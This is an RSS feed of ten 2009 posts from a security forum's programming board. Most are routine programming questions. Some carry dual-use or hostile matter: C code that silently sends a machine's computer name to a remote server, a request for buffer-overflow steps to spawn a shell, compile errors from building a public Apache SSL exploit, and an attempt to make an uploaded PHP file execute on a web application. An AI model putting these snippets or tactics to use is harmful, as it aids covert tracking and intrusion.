<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
	<title>Last 10 Programming</title>
	<description></description>
	<link>http://www.governmentsecurity.org/forum/index.php</link>
	<pubDate>Thu, 19 Nov 2009 16:15:26 +0000</pubDate>
	<ttl>10</ttl>
	<item>
		<title>Guest Post - Https Data Exposure - Get Vs Post</title>
		<link>http://www.governmentsecurity.org/forum/index.php?showtopic=32266</link>
		<description><![CDATA[Here is a quick chart showing the data exposure when considering GET vs POST and also HTTP vs HTTPS.<br />
<br />
<br />
<br />
<ul class='bbc'><li>URL arguments refer to arguments in the URL for GET or POST (e.g. foo.com?arg1=something).</li><li>Body arguments refer to data communicated via POST paramaters in the HTTP request body.</li></ul> NOTE: This chart does not address client side caching of temporary files. Caching is a separate issue from the protocol selection and should be addressed with appropriate cache-control headers.<br />
<br />
A quick conclusion: The secure choice for transmission of any sensitive data is to use POST statements over SSL/TLS. Any other option will expose data at some point in the communication.<br />
<br />
Full post<br />
<a href='http://www.shortinfosec.net/2009/11/https-data-exposure-get-vs-post.html' class='bbc_url' title='External link' rel='nofollow external'>http://www.shortinfosec.net/2009/11/https-data-exposure-get-vs-post.html</a>]]></description>
		<pubDate>Thu, 19 Nov 2009 16:15:26 +0000</pubDate>
		<guid>http://www.governmentsecurity.org/forum/index.php?showtopic=32266</guid>
	</item>
	<item>
		<title>How We Can Change Symbol In Password Field In Javascript?</title>
		<link>http://www.governmentsecurity.org/forum/index.php?showtopic=32260</link>
		<description><![CDATA[Friends , I wana know that how we can change text symbol in passwordfield by using J&#097;v&#097;script. I mean by default there is filled circle ,but I want "*" this symbol.]]></description>
		<pubDate>Wed, 18 Nov 2009 11:13:00 +0000</pubDate>
		<guid>http://www.governmentsecurity.org/forum/index.php?showtopic=32260</guid>
	</item>
	<item>
		<title>How To Make This Program Not Display Error When No Internet Connection?</title>
		<link>http://www.governmentsecurity.org/forum/index.php?showtopic=32196</link>
		<description><![CDATA[As the title says, I have a program that someone from this forum helped me with in the past and I need some help again by the looks of it. I dont know much about programming so bare with me. This app was written in the past to work along with a php script I had running on my web server. The purpose was to notify my webserver whenever this program was run and the php script would log the time & date along with the IP and computer name that the notification came from.<br />
<br />
So this app when run would simply look up the pc's 'computer name', then goto a certain url where the php script was located and append the computers name to the url. For example the program would open this url "http://www.YOUR-WEBSITE.com/c.php?pc=" and append the computer name it looked up to the end of it.<br />
<br />
Now my problem is this program is suppose to run silently in the background, which it does most of the time. The problem is if the program is run when the internet connection is down or unavailable, the program will popup and display a error message. I need help making it so no matter what, this program doesnt display any messages of any kind, error or otherwise, even if no internet connection is available I want it to just silently close.<br />
<br />
Does anyone know how I would go about modifying the below source code todo this?<br />
<br />
<pre class='prettyprint'>
#include &lt;stdio.h&gt;
#include &lt;windows.h&gt;
#include &lt;wininet.h&gt;

#pragma comment( linker, "/subsystem:&#092;"windows&#092;" /entry:&#092;"mainCRTStartup&#092;"" )
#pragma comment (lib, "Wininet.lib")

int main(int argc, char* argv&#91;&#93;)
{
	HINTERNET Initialize, Connection;
	char cBuffer&#91;MAX_COMPUTERNAME_LENGTH+1&#93; = {'&#092;0'};
	DWORD dwBytes = MAX_COMPUTERNAME_LENGTH+1;
	char logUrl&#91;100&#93; = {'&#092;0'}; //Make It Smaller (url length + MAX_COMPUTERNAME_LENGTH + 1)

	strcpy(logUrl, "http://www.YOUR-WEBSITE.com/c.php?pc=");

	//BOOL GetComputerName(LPTSTR lpBuffer, LPDWORD lpnSize);
	if(! GetComputerName((LPTSTR)&cBuffer, &dwBytes))
	{
		printf("~~GetComputerName() Failed!Last Error:%s&#092;n",GetLastError());
		return 1;
	}
	//Append Computer Name
	strcat((char*)&logUrl, (const char*)&cBuffer);

	Initialize = InternetOpen( "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)", 
				INTERNET_OPEN_TYPE_PRECONFIG , NULL, NULL, 0);

	// Make The Connection To The URL
	// This Is All That Is Needed To Get Your PHP Script To Log The IP & Computer Name
	Connection = InternetOpenUrl(Initialize, logUrl, NULL, 0,
		INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_RELOAD, 0);
	if(! Connection)
	{	
		printf("~~InternetOpenUrl() Failed! LastError:%s", GetLastError());
		return 1;
	}

	//Close Handles
	InternetCloseHandle(Connection);
	InternetCloseHandle(Initialize);

	return 0;
}
</pre><br />
<br />
Thanks in advance for anyone that can help!<br />
<br />
-elistian]]></description>
		<pubDate>Sat, 31 Oct 2009 12:24:34 +0000</pubDate>
		<guid>http://www.governmentsecurity.org/forum/index.php?showtopic=32196</guid>
	</item>
	<item>
		<title>Can U Unpack This Dll?</title>
		<link>http://www.governmentsecurity.org/forum/index.php?showtopic=32192</link>
		<description><![CDATA[First of all, the .dll file pops up as a false positive, because the way RL Pack pack's their files, other than that it's ready for you to try unpack it.<br />
<br />
DETAILS - its a DLL packed with RL Pack 2.x, please try and give it a shot<br />
<br />
<a href='http://www.filefront.com/14820215/dllchallenge.zip' class='bbc_url' title='External link' rel='nofollow external'>http://www.filefront.com/14820215/dllchallenge.zip</a>]]></description>
		<pubDate>Thu, 29 Oct 2009 16:16:43 +0000</pubDate>
		<guid>http://www.governmentsecurity.org/forum/index.php?showtopic=32192</guid>
	</item>
	<item>
		<title><![CDATA[[C++] Windows Mouse Hook]]></title>
		<link>http://www.governmentsecurity.org/forum/index.php?showtopic=32189</link>
		<description><![CDATA[<span style='font-family: Courier New'><span style='font-size: 9px;'><span style='color: #848484'><strong class='bbc'><span style='color: Orange'><span style='color: DarkGreen'>This simple program will hook the mouse and detect if the right mouse button is clicked near the top of the screen.</span><br />
<br />
Just modify the code to make it do something when it detects the click.<br />
<br />
<span style='color: Blue'><span style='color: #000000'>An example of its use is if you have a rocket dock that you don't want anyone editing, make it logoff or something when it detects the click.<br />
<br />
<pre class='prettyprint'>
#define _WIN32_WINNT 0x0500
#include &lt;windows.h&gt;

HHOOK MouseHook;

LRESULT CALLBACK MouseHookProc(int nCode, WPARAM wParam, LPARAM lParam){
	
	PKBDLLHOOKSTRUCT k = (PKBDLLHOOKSTRUCT)(lParam);
	POINT p;
	int xMetric = GetSystemMetrics(SM_CXVIRTUALSCREEN);
	
	xMetric -= 100;
	
	if(wParam == WM_RBUTTONDOWN)
	{
		
 GetCursorPos(&p);

	if(p.y &lt; 105 && p.x &lt; xMetric && p.x &gt; 100)
 {
 	MessageBox(NULL,"Click!",NULL,MB_OK);
 	//Do your thing
 	}
	}
	return CallNextHookEx(NULL,nCode,wParam,lParam);
 }

void StayAlive(){
	MSG message;
	while(GetMessage(&message,NULL,0,0)){
		TranslateMessage(&message);
		DispatchMessage(&message);
	}
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
 	LPSTR lpCmdLine, int nShowCmd){
	FreeConsole();
	
	MouseHook = SetWindowsHookEx(WH_MOUSE_LL,MouseHookProc,hInstance,0);
	StayAlive();

	UnhookWindowsHookEx(MouseHook);
	return 0;
}

</pre><br />
</span><br />
<br />
<br />
<br />
</span></span></strong></span></span></span>]]></description>
		<pubDate>Thu, 29 Oct 2009 01:58:57 +0000</pubDate>
		<guid>http://www.governmentsecurity.org/forum/index.php?showtopic=32189</guid>
	</item>
	<item>
		<title><![CDATA[[Help] Gui C++ Library]]></title>
		<link>http://www.governmentsecurity.org/forum/index.php?showtopic=32181</link>
		<description><![CDATA[Hey guys , <br />
<br />
Just need some help. . .  i'm after a GUI C++ library mainly want a open source one or a free one(W-bb) http://hackhound.net/forum/Smileys/sarcasmics/wink.gif<br />
<br />
Thanks , <br />
DuSTY <img src='http://www.governmentsecurity.org/forum/public/style_emoticons/default/laugh.gif' class='bbc_emoticon' alt=':lol:' />]]></description>
		<pubDate>Sat, 24 Oct 2009 00:27:16 +0000</pubDate>
		<guid>http://www.governmentsecurity.org/forum/index.php?showtopic=32181</guid>
	</item>
	<item>
		<title>C Programming - Buffer Overflow Exploit</title>
		<link>http://www.governmentsecurity.org/forum/index.php?showtopic=32174</link>
		<description><![CDATA[With the following C program:<br />
<br />
<pre class='prettyprint'>
void func(char * str)
{
char buff&#91;16&#93;;
strcpy(buff,str);
}
void main(int argc, char * argv&#91;&#93;)
{
int check = 1;
func(argv);
if(check == 1)
{
printf(“check should be 1 (%d)&#092;n”,check);
} else
{
Printf(“check should not be 1 (%d)&#092;n”,check);
}
}
</pre><br />
<br />
<br />
1. How would I mount a buffer overflow attack on the given program and corrupt the variable “check” with the value 25?<br />
<br />
Such that after the buffer overflow attack the output of the program should be the following:<br />
check should not be 1 (25)<br />
<br />
<br />
2. How would I mount a buffer overflow attack on the given program and bypass the “if” condition?<br />
<br />
Such that after the buffer overflow attack the output of the program should be the following:<br />
check should not be 1 (1)<br />
<br />
3. How would I increase the size of the buffer “buff” (to as much as you want) and mount a buffer overflow attack and make the program execute a shell (“/bin/bash”)?<br />
<br />
<br />
I am just beginning to learn buffer overflow exploits, so any help and/or explanations would be much appreciated...]]></description>
		<pubDate>Thu, 22 Oct 2009 20:49:05 +0000</pubDate>
		<guid>http://www.governmentsecurity.org/forum/index.php?showtopic=32174</guid>
	</item>
	<item>
		<title>Compiling Problem On Backtrack</title>
		<link>http://www.governmentsecurity.org/forum/index.php?showtopic=32169</link>
		<description><![CDATA[I'm trying to compile this apache exploit: <a href='http://milw0rm.com/exploits/764' class='bbc_url' title='External link' rel='nofollow external'>http://milw0rm.com/exploits/764</a> , but keep getting this error:<br />
<br />
<pre class='prettyprint'>ks@ks-laptop:~/exploits$ gcc -o OpenFuck OpenFuckV2.c -lcrypto
OpenFuckV2.c:649: error: expected specifier-qualifier-list before ‘RC4_KEY’
OpenFuckV2.c: In function ‘ssl_connect_host’:
OpenFuckV2.c:772: error: ‘ssl_conn’ has no member named ‘encrypted’
OpenFuckV2.c:773: error: ‘ssl_conn’ has no member named ‘write_seq’
OpenFuckV2.c:774: error: ‘ssl_conn’ has no member named ‘read_seq’
OpenFuckV2.c: In function ‘read_ssl_packet’:
OpenFuckV2.c:841: error: ‘ssl_conn’ has no member named ‘encrypted’
OpenFuckV2.c:842: error: ‘MD5_DIGEST_LENGTH’ undeclared (first use in this function)
OpenFuckV2.c:842: error: (Each undeclared identifier is reported only once
OpenFuckV2.c:842: error: for each function it appears in.)
OpenFuckV2.c:854: error: ‘ssl_conn’ has no member named ‘rc4_read_key’
OpenFuckV2.c: In function ‘send_ssl_packet’:
OpenFuckV2.c:880: error: ‘MD5_CTX’ undeclared (first use in this function)
OpenFuckV2.c:880: error: expected ‘;’ before ‘ctx’
OpenFuckV2.c:884: error: ‘ssl_conn’ has no member named ‘encrypted’
OpenFuckV2.c:885: error: ‘MD5_DIGEST_LENGTH’ undeclared (first use in this function)
OpenFuckV2.c:899: error: ‘ssl_conn’ has no member named ‘encrypted’
OpenFuckV2.c:901: error: ‘ssl_conn’ has no member named ‘write_seq’
OpenFuckV2.c:903: error: ‘ctx’ undeclared (first use in this function)
OpenFuckV2.c:914: error: ‘ssl_conn’ has no member named ‘rc4_write_key’
OpenFuckV2.c:925: error: ‘ssl_conn’ has no member named ‘write_seq’
OpenFuckV2.c: In function ‘get_server_hello’:
OpenFuckV2.c:1007: warning: passing argument 2 of ‘d2i_X509’ from incompatible pointer type
OpenFuckV2.c: In function ‘send_client_master_key’:
OpenFuckV2.c:1099: error: ‘ssl_conn’ has no member named ‘encrypted’
OpenFuckV2.c: In function ‘generate_key_material’:
OpenFuckV2.c:1104: error: ‘MD5_CTX’ undeclared (first use in this function)
OpenFuckV2.c:1104: error: expected ‘;’ before ‘ctx’
OpenFuckV2.c:1109: error: ‘MD5_DIGEST_LENGTH’ undeclared (first use in this function)
OpenFuckV2.c:1110: error: ‘ctx’ undeclared (first use in this function)
OpenFuckV2.c: In function ‘generate_session_keys’:
OpenFuckV2.c:1125: error: ‘ssl_conn’ has no member named ‘rc4_read_key’
OpenFuckV2.c:1125: error: ‘RC4_KEY’ undeclared (first use in this function)
OpenFuckV2.c:1125: error: expected exp<b></b>ressi&#111;n before ‘)’ token
OpenFuckV2.c:1126: error: ‘ssl_conn’ has no member named ‘rc4_read_key’
OpenFuckV2.c:1129: error: ‘ssl_conn’ has no member named ‘rc4_write_key’
OpenFuckV2.c:1129: error: expected exp<b></b>ressi&#111;n before ‘)’ token
OpenFuckV2.c:1130: error: ‘ssl_conn’ has no member named ‘rc4_write_key’
</pre><br />
<br />
Any ideas what I need to do? I've got all the libraries and add -lcrypto as an arg.<br />
<br />
thanks]]></description>
		<pubDate>Tue, 20 Oct 2009 16:56:52 +0000</pubDate>
		<guid>http://www.governmentsecurity.org/forum/index.php?showtopic=32169</guid>
	</item>
	<item>
		<title>Php Script Not Interprated</title>
		<link>http://www.governmentsecurity.org/forum/index.php?showtopic=32094</link>
		<description><![CDATA[Hello community ;-)<br />
I've got a little Problem: I'm trying to run a PHP-Script over GLPI-Software. GLPI allows to upload documents; I've added permission to upload PHP-Files and set Mime-Type to "plain/text". The uploaded document - in my case the php-file named '_test.php' - is interprated by the itnernal file of glpi named '&#100;ocument.send' resulting in displaying the whole source-code [e.g. <em class='bbc'>&lt;?php echo('test#.php') ?&gt;</em> instead of <em class='bbc'>test</em>] AM I using the wrong Mime-Type? 'application/x-httpd-php' plet's download the file. Direct fileopening isn't allowed because of htaccess destrictions [deny from all] :/ Is there a way to get the file interprated instead of only being displayed like a txt-file?<br />
<br />
Thank's in advance & Kind regards<br />
<br />
]]></description>
		<pubDate>Sat, 19 Sep 2009 11:25:31 +0000</pubDate>
		<guid>http://www.governmentsecurity.org/forum/index.php?showtopic=32094</guid>
	</item>
	<item>
		<title>Perl 6</title>
		<link>http://www.governmentsecurity.org/forum/index.php?showtopic=32078</link>
		<description><![CDATA[i'm just curious if anyone has begun working with perl 6 yet.  i just picked up a book today and will start reading soon.  any major differences that you can tell?]]></description>
		<pubDate>Fri, 11 Sep 2009 01:54:01 +0000</pubDate>
		<guid>http://www.governmentsecurity.org/forum/index.php?showtopic=32078</guid>
	</item>
</channel>
</rss>